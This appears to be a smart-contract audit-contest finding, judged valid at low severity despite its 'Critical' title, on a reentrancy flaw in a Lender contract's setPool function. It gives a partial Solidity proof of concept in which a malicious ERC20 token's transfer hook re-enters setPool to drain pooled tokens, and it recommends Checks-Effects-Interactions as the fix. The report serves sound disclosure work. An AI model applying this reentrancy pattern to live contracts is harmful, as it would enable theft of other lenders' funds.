20,000 USDC
View results
Submission Details
Severity: low
Valid

Critical Reentrancy Vulnerability Enabling Sequential Pool Updates and Total Fund Withdrawal

Summary

An acute reentrancy vulnerability has been identified within the setPool function of the Lender smart contract. The issue originates from the combination of the pool update process and the premature invocation of external contract calls (through the transfer method) prior to the completion of internal contract state updates. This sequence allows for the possibility of reentry before the setPool function's execution cycle is fully complete, paving the way for potential exploitation. In a worst-case scenario, a malicious contract could masquerade as a lender, enact a series of updates on their created pool, and consequently drain all the loan tokens the contract has. This attack may then be replicated across numerous loan token contracts, posing a severe risk to the entire protocol.

Vulnerability Details / POC

Let's suppose that the Lender contract has amassed a significant quantity of an HonestLoanToken, with a total balance of 10000 HonestLoanTokens, attributed to multiple honest lenders who've created pools for the HonestLoanToken. However, these lenders, lacking tech-savviness, didn't realize that the ERC20 token is fraught with malicious code.

Recognizing an opportunity, Bob, the attacker, legitimately creates a pool by calling setPool.

Lender lender = ILender(LENDER_CONTRACT_ADDRESS);
/// @notice poolBalance
Pool memory pool = Pool({
lender: attacker,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
...
poolBalance: 100 * 10 ** 18,
...
outstandingLoans: 0
});
lender.setPool(pool);

Subsequently, Bob flips the evil_switch and in his malicious contract, which could appear as follows:

...
Lender lender = ILender(LENDER_CONTRACT_ADDRESS);
contract HonestLoanToken is IERC20 {
...
function transfer(address to, uint256 amount) external returns (bool) {
if (evil_switch && balanceOf(lender) > 1) {
// @notice poolBalance must be less than the original value
// Lender will transfer the difference of the two values to Bob.
Pool memory pool = Pool({
lender: lender1,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
...
poolBalance: 30 * 10 ** 18,
...
outstandingLoans: 0
});
// Re-enter
lender.setPool(pool);
}
_transfer(to, amount);
}
...
}

Provided the poolBalance in the transfer call is less than the one Bob originally created, he will be able to invoke the else if (p.poolBalance < currentBalance) {...} section of the setPool method. This is significant because it will enable the Lender contract to transfer funds to Bob. And, due to the setPool call to an external function, Bob can re-enter setPool. Since setPool doesn't update its state until after the transfer method has finished executing, the condition else if (p.poolBalance < currentBalance) {...} still holds true even after re-entry. This permits Bob to siphon off funds until none remains.

Impact

This will affect other innocent lenders.

Tools Used

Manual code review, Foundry

Recommend Mitigation

Follow Checks-Effects-Interactions pattern. Move the line of code that updates the storage prior to making the transfer calls.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.